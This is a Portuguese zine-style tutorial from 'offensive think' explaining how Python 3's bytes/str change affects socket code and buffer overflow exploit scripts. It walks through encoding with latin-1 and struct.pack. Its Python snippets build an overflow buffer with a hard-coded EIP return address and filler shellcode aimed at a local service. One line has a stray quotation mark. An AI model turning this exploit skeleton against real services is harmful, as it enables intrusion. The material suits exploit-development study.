BOF + SOCKETS + ERROS DE CODIFICAÇÃO COM O PYTHON3
----------------------------------------------------------------
offensive think :: artigo técnico em formato zine / nfo
----------------------------------------------------------------
titulo : BoF + Sockets + Erros de Codificação com o Python3
autor : offensive think
data : Wed, Oct 28, 2020
tags : bof
----------------------------------------------------------------
--> https://www.offensivethink.com/posts/bof-socket-python3.html <--
Com a vinda do Python 3 a forma com que as strings são "tratadas" mudou. O que antes, no Python 2 era um conjunto de caracteres ASCII , agora são Unicode. E o que isso muda para quem tá escrevendo exploits para explorar Buffer Overflow e até mesmo para quem deseja simplesmente enviar algo por um socket ?
Quando "chamamos" a função send() de um socket, esta espera como parâmetro Bytes. Se você tenta simplesmente enviar uma string como ocorria no Python2, um erro surge, informando: _TypeError: a bytes-like object is required, not 'str' with send function_
Para contornar, você precisará codificar a string que você quer enviar na codificação que deseja, ou simplesmente, informar que trata-se de uma sequência de bytes, colocando um b antes dela:
import sys,socket
host="127.0.0.1""
port=12345
# 1a forma - atenção para o b , antes das aspas.
buffer=b"alo mundo"
# 2a forma - informando que é uma sequencia de bytes utf-8
buffer="alo_mundo".encode('utf-8')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer) # <------------- Função afetada, em questão!
s.close()
E para quem está escrevendo exploits ? Iremos notar que as o envio de UTF-8 não vai nos ajudar a encaixar o endereço certinho no EIP ou mesmo bagunçar o nosso Shell Code ? Porque ? Pois endereços , opcodes, etc., estão todos dentro do escopo apenas da antiga e atual tabela ASCII estendida, 0 - 255 bytes.
Uma forma, usando apenas strings com código hexa diretamente inserido.
buffer="CMD " + "A" * 143
EIP="\x6F\x14\x74\x72" #<-------- Endereço já em Little Endian
shellcode="C" * (700-len(buffer)-len(EIP))
buffer=buffer+EIP+shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
print(s.recv(4096))
s.sendall(buffer.encode('latin-1')) #<----- encoding in Latin-1
print("[+] Sending Exploit %s" % buffer )
s.close()
Se usarmos a função pack() do módulo struct, que tem a função de convertes o endereço em Little Endian, é necesário que transformemos todas as strings em bytes, pois esta funçao retorna bytes.
buffer= ("EXPLOIT1 " + "A" * 143).encode('latin-1') #<--- encoding
EIP=pack("<L",0x7274146F)
shellcode=("C" * (700-len(buffer)-len(EIP))).encode('latin-1') #<--- encoding
buffer=buffer + EIP + shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
print(s.recv(4096))
s.sendall(buffer)
print("[+] Sending Exploit %s" % buffer )
s.close()
---[ EOF ]--------------------------------------------------------------
offensive think / 2026